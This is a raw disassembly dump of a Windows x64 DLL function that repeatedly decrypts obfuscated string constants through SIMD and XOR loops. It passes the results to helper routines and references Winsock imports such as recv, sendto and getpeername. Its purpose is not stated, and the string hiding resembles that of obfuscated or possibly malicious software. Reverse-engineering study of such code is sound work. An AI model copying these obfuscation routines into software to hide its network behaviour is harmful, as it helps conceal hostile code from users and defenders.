mov r8d, edi
cmp r15d, 2
jl 0x1800c7c2f
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.E_WNe_UNJ._C]
xorps xmm1, xmm0
movd dword [rbp + 0x6d8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6dc]
xorps xmm2, xmm1
movd dword [rbp + 0x6dc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x6e0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x6d8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c7c40
xorps xmm0, xmm0
movups xmmword [rbp + 0x13f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1408], xmm1
lea rax, [rbp + 0x6d8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c7c92
lea rdx, [rbp + 0x6d8]
lea rcx, [rbp + 0x13f8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x13f8]
lea rcx, [rbp + 0xe78]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x13f8]
call fcn.18003e1a0
lea rax, [rbp + 0x968]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801ae92c]
lea rcx, [rbp + 0x968]
call fcn.18008cbc0
mov rbx, rax
movsd xmm0, qword [str.BR_MeHUG__]
movsd qword [rbp + 0x448], xmm0
movzx ecx, word [0x1801832b0]
mov word [rbp + 0x450], cx
cmp byte [0x1801832b1], 0
je 0x1800c7d7a
mov byte [rbp + 0x448], reloc.WS2_32.dll_WSACleanup
xor byte [rbp + 0x449], 0x37
xor byte [rbp + 0x44a], 0x38
xor byte [rbp + 0x44b], 0x39
xor byte [rbp + 0x44c], 0x3a
xor byte [rbp + 0x44d], 0x3b
xor byte [rbp + 0x44e], 0x3c
xor byte [rbp + 0x44f], 0x3d
xor byte [rbp + 0x450], 0x3e
xor byte [rbp + 0x451], 0x3f
xorps xmm0, xmm0
movups xmmword [rbp + 0x1438], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1448], xmm1
lea rax, [rbp + 0x448]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800c7da0
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x1438]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1438]
lea rcx, [rbp + 0x1418]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1438]
call fcn.18003e1a0
lea rax, [rbp + 0x978]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4489]
lea rcx, [rbp + 0x978]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SYY_VcWR_.6C]
movsd qword [rbp + 0x6e8], xmm0
mov edx, dword [0x1801832c0]
mov dword [rbp + 0x6f0], edx
movzx ecx, word [0x1801832c4]
mov word [rbp + 0x6f4], cx
cmp byte [0x1801832c5], 0
je 0x1800c7ff3
mov r8d, edi
cmp r15d, 2
jl 0x1800c7fad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SYY_VcWR_.6C]
xorps xmm1, xmm0
movd dword [rbp + 0x6e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6ec]
xorps xmm2, xmm1
movd dword [rbp + 0x6ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x6f0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x6e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c7fc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1488], xmm1
lea rax, [rbp + 0x6e8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c8012
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp + 0x1478]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1478]
lea rcx, [rbp + 0x1458]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1478]
call fcn.18003e1a0
lea rax, [rbp + 0x988]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b448a]
lea rcx, [rbp + 0x988]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.WU_UOcNVP7]
movups xmmword [rbp + 0x998], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1800c82b3
mov r8d, edi
cmp r15d, 2
jl 0x1800c827a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x998], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x99c]
xorps xmm2, xmm1
movd dword [rbp + 0x99c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9a0]
xorps xmm2, xmm1
movd dword [rbp + 0x9a0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9a4]
xorps xmm2, xmm1
movd dword [rbp + 0x9a4], xmm2
jmp 0x1800c82b3
lea r9, [rbp + 0x998]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800c8281
xorps xmm0, xmm0
movups xmmword [rbp + 0x14b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14c8], xmm1
lea rax, [rbp + 0x998]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c82d2
lea rdx, [rbp + 0x998]
lea rcx, [rbp + 0x14b8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x14b8]
lea rcx, [rbp + 0x1498]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x14b8]
call fcn.18003e1a0
lea rax, [rbp + 0x9a8]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x9a8], xmm0
xor eax, eax
mov qword [rbp + 0x9b0], rax
movsxd rbx, dword [reloc.WS2_32.dll_getpeername]
movzx edx, byte [rbp + 0x9a8]
lea rcx, [rbp + 0x9b0]
call fcn.180072cc0
mov byte [rbp + 0x9a8], 5
mov qword [rbp + 0x9b0], rbx
movsd xmm0, qword [0x1801832d8]
movsd qword [rbp + 0x4b8], xmm0
movzx ecx, word [0x1801832e0]
mov word [rbp + 0x4c0], cx
movzx eax, byte [0x1801832e2]
mov byte [rbp + 0x4b8], 0x61
xor byte [rbp + 0x4b9], 0x37
xor byte [rbp + 0x4ba], 0x38
xor byte [rbp + 0x4bb], 0x39
xor byte [rbp + 0x4bc], 0x3a
xor byte [rbp + 0x4bd], 0x3b
xor byte [rbp + 0x4be], 0x3c
xor byte [rbp + 0x4bf], 0x3d
xor cl, 0x3e
mov byte [rbp + 0x4c0], cl
xor byte [rbp + 0x4c1], 0x3f
xor al, 0x40
mov byte [rbp + 0x4c2], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x14f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1508], xmm1
lea rax, [rbp + 0x4b8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c8406
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp + 0x14f8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x14f8]
lea rcx, [rbp + 0x14d8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
lea rdx, [rbp + 0x9a8]
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x14f8]
call fcn.18003e1a0
lea rax, [rbp + 0x9b8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801ae948]
lea rcx, [rbp + 0x9b8]
call fcn.18008cbc0
mov rbx, rax
movups xmm2, xmmword [str.WU_UOcNSP_5_F]
movups xmmword [rbp + 0x9d8], xmm2
movzx ecx, byte [0x1801832f8]
mov byte [rbp + 0x9e8], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c866e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x9d8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9dc]
xorps xmm2, xmm1
movd dword [rbp + 0x9dc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9e0]
xorps xmm2, xmm1
movd dword [rbp + 0x9e0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9e4]
xorps xmm2, xmm1
movd dword [rbp + 0x9e4], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0x9d8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1800c8680
xorps xmm0, xmm0
movups xmmword [rbp + 0x1538], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1548], xmm1
lea rax, [rbp + 0x9d8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c86d2
lea rdx, [rbp + 0x9d8]
lea rcx, [rbp + 0x1538]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1538]
lea rcx, [rbp + 0x1518]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1538]
call fcn.18003e1a0
lea rax, [rbp + 0x9c8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b448b]
lea rcx, [rbp + 0x9c8]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.WU_UOcKWL_.e.__J]
movups xmmword [rbp + 0xa80], xmm2
mov edx, dword [0x180183310]
mov dword [rbp + 0xa90], edx
movzx ecx, byte [0x180183314]
mov byte [rbp + 0xa94], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c89ab
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa80], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa84]
xorps xmm2, xmm1
movd dword [rbp + 0xa84], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa88]
xorps xmm2, xmm1
movd dword [rbp + 0xa88], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa8c]
xorps xmm2, xmm1
movd dword [rbp + 0xa8c], xmm2
movdqa xmm3, xmmword [0x180143410]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xa90], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xa80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1800c89c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1578], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1588], xmm1
lea rax, [rbp + 0xa80]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c8a12
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x1578]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1578]
lea rcx, [rbp + 0x1558]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1578]
call fcn.18003e1a0
lea rax, [rbp + 0x778]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4490]
lea rcx, [rbp + 0x778]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.WU_UOcXF_4e__:J]
movups xmmword [rbp + 0xa98], xmm2
mov edx, dword [0x180183328]
mov dword [rbp + 0xaa8], edx
movzx ecx, byte [0x18018332c]
mov byte [rbp + 0xaac], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c8ceb
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa98], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa9c]
xorps xmm2, xmm1
movd dword [rbp + 0xa9c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaa0]
xorps xmm2, xmm1
movd dword [rbp + 0xaa0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaa4]
xorps xmm2, xmm1
movd dword [rbp + 0xaa4], xmm2
movdqa xmm3, xmmword [0x180143410]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xaa8], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xa98]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1800c8d00
xorps xmm0, xmm0
movups xmmword [rbp + 0xb58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb68], xmm1
lea rax, [rbp + 0xa98]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c8d52
lea rdx, [rbp + 0xa98]
lea rcx, [rbp + 0xb58]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xb58]
lea rcx, [rbp + 0x1598]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xb58]
call fcn.18003e1a0
lea rax, [rbp + 0x788]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4493]
lea rcx, [rbp + 0x788]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.WU_UOcI_M_6]
movups xmmword [rbp + 0xa68], xmm2
movzx ecx, word [0x180183340]
mov word [rbp + 0xa78], cx
movzx ecx, byte [0x180183342]
mov byte [rbp + 0xa7a], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c8fc4
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa68], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
